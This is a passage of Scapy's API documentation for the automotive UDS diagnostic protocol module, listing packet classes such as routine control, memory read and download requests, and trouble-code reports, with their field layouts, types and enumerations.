'OBDTestIDs', 57796: 'OBDTestIDs', 57797: 'OBDTestIDs', 57798: 'OBDTestIDs', 57799: 'OBDTestIDs', 57800: 'OBDTestIDs', 57801: 'OBDTestIDs', 57802: 'OBDTestIDs', 57803: 'OBDTestIDs', 57804: 'OBDTestIDs', 57805: 'OBDTestIDs', 57806: 'OBDTestIDs', 57807: 'OBDTestIDs', 57808: 'OBDTestIDs', 57809: 'OBDTestIDs', 57810: 'OBDTestIDs', 57811: 'OBDTestIDs', 57812: 'OBDTestIDs', 57813: 'OBDTestIDs', 57814: 'OBDTestIDs', 57815: 'OBDTestIDs', 57816: 'OBDTestIDs', 57817: 'OBDTestIDs', 57818: 'OBDTestIDs', 57819: 'OBDTestIDs', 57820: 'OBDTestIDs', 57821: 'OBDTestIDs', 57822: 'OBDTestIDs', 57823: 'OBDTestIDs', 57824: 'OBDTestIDs', 57825: 'OBDTestIDs', 57826: 'OBDTestIDs', 57827: 'OBDTestIDs', 57828: 'OBDTestIDs', 57829: 'OBDTestIDs', 57830: 'OBDTestIDs', 57831: 'OBDTestIDs', 57832: 'OBDTestIDs', 57833: 'OBDTestIDs', 57834: 'OBDTestIDs', 57835: 'OBDTestIDs', 57836: 'OBDTestIDs', 57837: 'OBDTestIDs', 57838: 'OBDTestIDs', 57839: 'OBDTestIDs', 57840: 'OBDTestIDs', 57841: 'OBDTestIDs', 57842: 'OBDTestIDs', 57843: 'OBDTestIDs', 57844: 'OBDTestIDs', 57845: 'OBDTestIDs', 57846: 'OBDTestIDs', 57847: 'OBDTestIDs', 57848: 'OBDTestIDs', 57849: 'OBDTestIDs', 57850: 'OBDTestIDs', 57851: 'OBDTestIDs', 57852: 'OBDTestIDs', 57853: 'OBDTestIDs', 57854: 'OBDTestIDs', 57855: 'OBDTestIDs', 61459: 'DeactivateSegeln', 61507: 'RequestDeactivateMontagemodus', 63264: 'ControlSniffingHuPort', 63321: 'ControlHeadUnitActivationLine', 63328: 'ResetHeadUnitActivationLine', 63329: 'ClearFilterCAN', 63330: 'SetFilterCAN', 63332: 'MessageLogging', 63333: 'ReceiveCANFrame', 63334: 'SendCANFrame', 63335: 'ReceiveFlexrayFrame', 63336: 'SendFlexrayFrame', 63337: 'SetFilterFlexray', 63344: 'ClearFilterFlexray', 63348: 'GetStatusLogging', 63350: 'MessageTunnelDeauthenticator', 63351: 'ControlTransDiagSend', 63352: 'ClearFilterAll', 63353: 'GetFilterCAN', 63355: 'SteuernFlexrayAutoDetectDisable', 63356: 'SteuernFlexrayPath', 63357: 'SteuernResetLernFlexray', 63359: 'SteuernLernFlexray', 63360: 'ClearFilterLIN', 63361: 'GetFilterLIN', 63362: 'SetFilterLIN', 65280: 'eraseMemory', 65281: 'checkProgrammingDependencies'}

	




	
routineControlTypes = {0: 'ISOSAEReserved', 1: 'startRoutine', 2: 'stopRoutine', 3: 'requestRoutineResults'}

	








	
class scapy.contrib.automotive.uds.UDS_RCPR(_pkt, /, *, routineControlType=0, routineIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1162-L1173]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1170-L1173]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ROUTINECONTROLT|       ROUTINEIDENTIFIER       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RCPR                           


UDS_RCPR fields






	routineControlType

	ByteEnumField

	0



	routineIdentifier

	XShortEnumField

	0















	
class scapy.contrib.automotive.uds.UDS_RD(_pkt, /, *, dataFormatIdentifier=0, memorySizeLen=0, memoryAddressLen=0, memoryAddress1=0, memoryAddress2=0, memoryAddress3=0, memoryAddress4=0, memorySize1=0, memorySize2=0, memorySize3=0, memorySize4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1180-L1205]

	Bases: Packet


	
aliastypes

	




	
dataFormatIdentifiers = {0: 'noCompressionNoEncryption', 1: 'BMW_ROM_EPROM_internal', 2: 'BMW_ROM_EPROM_external', 3: 'BMW_NVRAM_characteristicZones_DTCmemory', 4: 'BMW_RAM_internal_shortMOV', 5: 'BMW_RAM_external_xDataMOV', 6: 'BMW_flashEPROM_internal', 7: 'BMW_UIFmemory', 8: 'BMW_vehicleOrderDataMemory_onlyToBeUsedByDS2_ECUs', 9: 'BMW_flashEPROM_external', 11: 'BMW_RAM_internal_longMOVatRegister', 16: 'NRV and noEncryptingMethod'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATAFORMATIDENT|MEMORYS|MEMORYA| MEMORYADDRESS1| MEMORYADDRESS2|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 MEMORYADDRESS3                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 MEMORYADDRESS4                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |  MEMORYSIZE1  |          MEMORYSIZE2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MEMORYSIZE3                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MEMORYSIZE4                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_RD                            


UDS_RD fields






	dataFormatIdentifier

	ByteEnumField

	0



	memorySizeLen

	BitField  (4 bits)

	0



	memoryAddressLen

	BitField  (4 bits)

	0



	memoryAddress1

	XByteField (Cond)

	0



	memoryAddress2

	XShortField (Cond)

	0



	memoryAddress3

	X3BytesField (Cond)

	0



	memoryAddress4

	XIntField (Cond)

	0



	memorySize1

	XByteField (Cond)

	0



	memorySize2

	XShortField (Cond)

	0



	memorySize3

	X3BytesField (Cond)

	0



	memorySize4

	XIntField (Cond)

	0















	
class scapy.contrib.automotive.uds.UDS_RDBI(_pkt, /, *, identifiers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L659-L666]

	Bases: Packet


	
aliastypes
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fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          IDENTIFIERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RDBI                           


UDS_RDBI fields






	identifiers

	FieldListField

	[]















	
class scapy.contrib.automotive.uds.UDS_RDBIPR(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L672-L681]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L679-L681]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         DATAIDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_RDBIPR                          


UDS_RDBIPR fields






	dataIdentifier

	XShortEnumField

	0











	
payload_guess

	Possible sublayers:
DIAG_SESSION_RESP, IP_CONFIG_RESP, SVK










	
class scapy.contrib.automotive.uds.UDS_RDBPI(_pkt, /, *, transmissionMode=0, periodicDataIdentifier=0, furtherPeriodicDataIdentifier=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L758-L772]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSMISSIONMOD|PERIODICDATAIDE|FURTHERPERIODIC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RDBPI                          


UDS_RDBPI fields






	transmissionMode

	ByteEnumField

	0



	periodicDataIdentifier

	ByteEnumField

	0



	furtherPeriodicDataIdentifier

	StrField

	b''











	
periodicDataIdentifiers = {}

	




	
transmissionModes = {0: 'ISOSAEReserved', 1: 'sendAtSlowRate', 2: 'sendAtMediumRate', 3: 'sendAtFastRate', 4: 'stopSending'}

	








	
class scapy.contrib.automotive.uds.UDS_RDBPIPR(_pkt, /, *, periodicDataIdentifier=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L779-L788]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L786-L788]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PERIODICDATAIDE|   DATARECORD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. UDS_RDBPIPR                         


UDS_RDBPIPR fields






	periodicDataIdentifier

	ByteField

	0



	dataRecord

	StrField

	b''











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L61-L64]

	








	
class scapy.contrib.automotive.uds.UDS_RDPR(_pkt, /, *, memorySizeLen=0, reserved=0, maxNumberOfBlockLength=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1211-L1220]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1219-L1220]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYS|RESERVE|MAXNUMBEROFBLOC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RDPR                           


UDS_RDPR fields






	memorySizeLen

	BitField  (4 bits)

	0



	reserved

	BitField  (4 bits)

	0



	maxNumberOfBlockLength

	StrField

	b''











	
modify_ecu_state(req: Packet, state: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds_ecu_states.py#L67-L72]

	








	
class scapy.contrib.automotive.uds.UDS_RDTCI(_pkt, /, *, reportType=0, DTCSeverityMask=<Flag 0 ()>, DTCStatusMask=<Flag 0 ()>, dtc=None, DTCSnapshotRecordNumber=0, DTCExtendedDataRecordNumber=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L963-L1030]

	Bases: Packet


	
aliastypes

	




	
dtcSeverityMask = {1: 'NoClassInformation', 2: 'WWH-OBDClassA', 4: 'WWH-OBDClassB1', 8: 'WWH-OBDClassB2', 16: 'WWH-OBDClassC', 32: 'MaintenanceRequired', 64: 'CheckAtNextHalt', 128: 'CheckImmediately'}

	




	
dtcStatus = {1: 'TestFailed', 2: 'TestFailedThisOperationCycle', 4: 'PendingDTC', 8: 'ConfirmedDTC', 16: 'TestNotCompletedSinceLastClear', 32: 'TestFailedSinceLastClear', 64: 'TestNotCompletedThisOperationCycle', 128: 'WarningIndicatorRequested'}

	




	
dtcStatusMask = {1: 'ActiveDTCs', 4: 'PendingDTCs', 8: 'ConfirmedOrStoredDTCs', 255: 'AllRecordDTCs'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   REPORTTYPE  |DTCSEVERITYMASK| DTCSTATUSMASK |      DTC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |DTCSNAPSHOTRECO|DTCEXTENDEDDATA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RDTCI                          


UDS_RDTCI fields






	reportType

	ByteEnumField

	0



	DTCSeverityMask

	FlagsField (Cond)

	<Flag 0 ()>



	DTCStatusMask

	FlagsField (Cond)

	<Flag 0 ()>



	dtc

	PacketField (Cond)

	None



	DTCSnapshotRecordNumber

	ByteField (Cond)

	0



	DTCExtendedDataRecordNumber

	ByteField (Cond)

	0











	
reportTypes = {0: 'ISOSAEReserved', 1: 'reportNumberOfDTCByStatusMask', 2: 'reportDTCByStatusMask', 3: 'reportDTCSnapshotIdentification', 4: 'reportDTCSnapshotRecordByDTCNumber', 5: 'reportDTCSnapshotRecordByRecordNumber', 6: 'reportDTCExtendedDataRecordByDTCNumber', 7: 'reportNumberOfDTCBySeverityMaskRecord', 8: 'reportDTCBySeverityMaskRecord', 9: 'reportSeverityInformationOfDTC', 10: 'reportSupportedDTC', 11: 'reportFirstTestFailedDTC', 12: 'reportFirstConfirmedDTC', 13: 'reportMostRecentTestFailedDTC', 14: 'reportMostRecentConfirmedDTC', 15: 'reportMirrorMemoryDTCByStatusMask', 16: 'reportMirrorMemoryDTCExtendedDataRecordByDTCNumber', 17: 'reportNumberOfMirrorMemoryDTCByStatusMask', 18: 'reportNumberOfEmissionsRelatedOBDDTCByStatusMask', 19: 'reportEmissionsRelatedOBDDTCByStatusMask', 20: 'reportDTCFaultDetectionCounter', 21: 'reportDTCWithPermanentStatus'}

	








	
class scapy.contrib.automotive.uds.UDS_RDTCIPR(_pkt, /, *, reportType=0, DTCStatusAvailabilityMask=<Flag 0 ()>, DTCFormatIdentifier=0, DTCCount=0, DTCAndStatusRecord=[], dataRecord=b'', snapshotRecord=None, extendedDataRecord=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1093-L1137]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1128-L1137]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   REPORTTYPE  |DTCSTATUSAVAILA|DTCFORMATIDENTI|    DTCCOUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       DTCANDSTATUSRECORD      |   DATARECORD  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         SNAPSHOTRECORD        |EXTENDEDDATAREC|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. UDS_RDTCIPR                         


UDS_RDTCIPR fields






	reportType

	ByteEnumField

	0



	DTCStatusAvailabilityMask

	FlagsField (Cond)

	<Flag 0 ()>



	DTCFormatIdentifier

	ByteEnumField (Cond)

	0



	DTCCount

	ShortField (Cond)

	0



	DTCAndStatusRecord

	PacketListField (Cond)

	[]



	dataRecord

	StrField (Cond)

	b''



	snapshotRecord

	PacketField (Cond)

	None



	extendedDataRecord

	PacketField (Cond)

	None















	
class scapy.contrib.automotive.uds.UDS_RFT(_pkt, /, *, modeOfOperation=0, filePathAndNameLength=None, filePathAndName=b'', compressionMethod=0, encryptingMethod=0, fileSizeParameterLength=None, fileSizeUnCompressed=b'', fileSizeCompressed=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1323-L1361]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MODEOFOPERATION|     FILEPATHANDNAMELENGTH     |FILEPATHANDNAME|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |COMPRES|ENCRYPT|FILESIZEPARAMET|FILESIZEUNCOMPR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       FILESIZECOMPRESSED      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_RFT                           


UDS_RFT fields






	modeOfOperation

	XByteEnumField

	0



	filePathAndNameLength

	FieldLenField

	None



	filePathAndName

	StrLenField

	b''



	compressionMethod

	BitField (Cond) (4 bits)

	0



	encryptingMethod

	BitField (Cond) (4 bits)

	0



	fileSizeParameterLength

	FieldLenField (Cond)

	None



	fileSizeUnCompressed

	StrLenField (Cond)

	b''



	fileSizeCompressed

	StrLenField (Cond)

	b''











	
modeOfOperations = {0: 'ISO/SAE Reserved', 1: 'Add File', 2: 'Delete File', 3: 'Replace File', 4: 'Read File', 5: 'Read Directory'}

	








	
class scapy.contrib.automotive.uds.UDS_RFTPR(_pkt, /, *, modeOfOperation=0, lengthFormatIdentifier=None, maxNumberOfBlockLength=b'', compressionMethod=0, encryptingMethod=0, fileSizeOrDirInfoParameterLength=None, fileSizeUncompressedOrDirInfoLength=b'', fileSizeCompressed=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1367-L1403]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1402-L1403]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MODEOFOPERATION|LENGTHFORMATIDE|     MAXNUMBEROFBLOCKLENGTH    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMPRES|ENCRYPT|FILESIZEORDIRINFOPARAMETERLENGT|FILESIZEUNCOMPR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       FILESIZECOMPRESSED      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RFTPR                          


UDS_RFTPR fields






	modeOfOperation

	XByteEnumField

	0



	lengthFormatIdentifier

	FieldLenField (Cond)

	None



	maxNumberOfBlockLength

	StrLenField (Cond)

	b''



	compressionMethod

	BitField (Cond) (4 bits)

	0



	encryptingMethod

	BitField (Cond) (4 bits)

	0



	fileSizeOrDirInfoParameterLength

	FieldLenField (Cond)

	None



	fileSizeUncompressedOrDirInfoLength

	StrLenField (Cond)

	b''



	fileSizeCompressed

	StrLenField (Cond)

	b''















	
class scapy.contrib.automotive.uds.UDS_RMBA(_pkt, /, *, memorySizeLen=0, memoryAddressLen=0, memoryAddress1=0, memoryAddress2=0, memoryAddress3=0, memoryAddress4=0, memorySize1=0, memorySize2=0, memorySize3=0, memorySize4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L688-L709]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|MEMORYS|MEMORYA| MEMORYADDRESS1|         MEMORYADDRESS2        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS3                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         MEMORYADDRESS4                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  MEMORYSIZE1  |          MEMORYSIZE2          |  MEMORYSIZE3  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |  MEMORYSIZE4  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. UDS_RMBA                           


UDS_RMBA fields






	memorySizeLen

	BitField  (4 bits)

	0



	memoryAddressLen

	BitField  (4 bits)

	0



	memoryAddress1

	XByteField (Cond)

	0



	memoryAddress2

	XShortField (Cond)

	0



	memoryAddress3

	X3BytesField (Cond)

	0



	memoryAddress4

	XIntField (Cond)

	0



	memorySize1

	XByteField (Cond)

	0



	memorySize2

	XShortField (Cond)

	0



	memorySize3

	X3BytesField (Cond)

	0



	memorySize4

	XIntField (Cond)

	0















	
class scapy.contrib.automotive.uds.UDS_RMBAPR(_pkt, /, *, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L715-L722]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L721-L722]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   DATARECORD  |
+-+-+-+-+-+-+-+-+

                         Fig. UDS_RMBAPR                          


UDS_RMBAPR fields






	dataRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_ROE(_pkt, /, *, eventType=0, eventWindowTime=0, eventTypeRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L586-L596]

	Bases: Packet


	
aliastypes

	




	
eventTypes = {0: 'doNotStoreEvent', 1: 'storeEvent'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   EVENTTYPE   |EVENTWINDOWTIME|        EVENTTYPERECORD        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. UDS_ROE                           


UDS_ROE fields






	eventType

	ByteEnumField

	0



	eventWindowTime

	ByteField

	0



	eventTypeRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_ROEPR(_pkt, /, *, eventType=0, numberOfIdentifiedEvents=0, eventWindowTime=0, eventTypeRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L602-L613]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L611-L613]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   EVENTTYPE   |NUMBEROFIDENTIF|EVENTWINDOWTIME|EVENTTYPERECORD|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. UDS_ROEPR                          


UDS_ROEPR fields






	eventType

	ByteEnumField

	0



	numberOfIdentifiedEvents

	ByteField

	0



	eventWindowTime

	ByteField

	0



	eventTypeRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_RSDBI(_pkt, /, *, dataIdentifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L729-L734]

	Bases: Packet


	
aliastypes
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class scapy.contrib.automotive.uds.UDS_RSDBIPR(_pkt, /, *, dataIdentifier=0, scalingByte=0, dataRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L741-L751]

	Bases: Packet
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answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L749-L751]
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	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_RTE(_pkt, /, *, transferRequestParameterRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1299-L1303]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSFERREQUEST|
+-+-+-+-+-+-+-+-+

                           Fig. UDS_RTE                           


UDS_RTE fields






	transferRequestParameterRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_RTEPR(_pkt, /, *, transferResponseParameterRecord=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1309-L1316]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1315-L1316]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|TRANSFERRESPONS|
+-+-+-+-+-+-+-+-+

                          Fig. UDS_RTEPR                          


UDS_RTEPR fields






	transferResponseParameterRecord

	StrField

	b''















	
class scapy.contrib.automotive.uds.UDS_RU(_pkt, /, *, dataFormatIdentifier=0, memorySizeLen=0, memoryAddressLen=0, memoryAddress1=0, memoryAddress2=0, memoryAddress3=0, memoryAddress4=0, memorySize1=0, memorySize2=0, memorySize3=0, memorySize4=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/uds.py#L1227-L1250]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DATAFORMATIDENT|MEMORYS|MEMORYA| MEMORYADDRESS1| MEMORYADDRESS2|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 MEMORYADDRESS3                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                 MEMORYADDRESS4                |
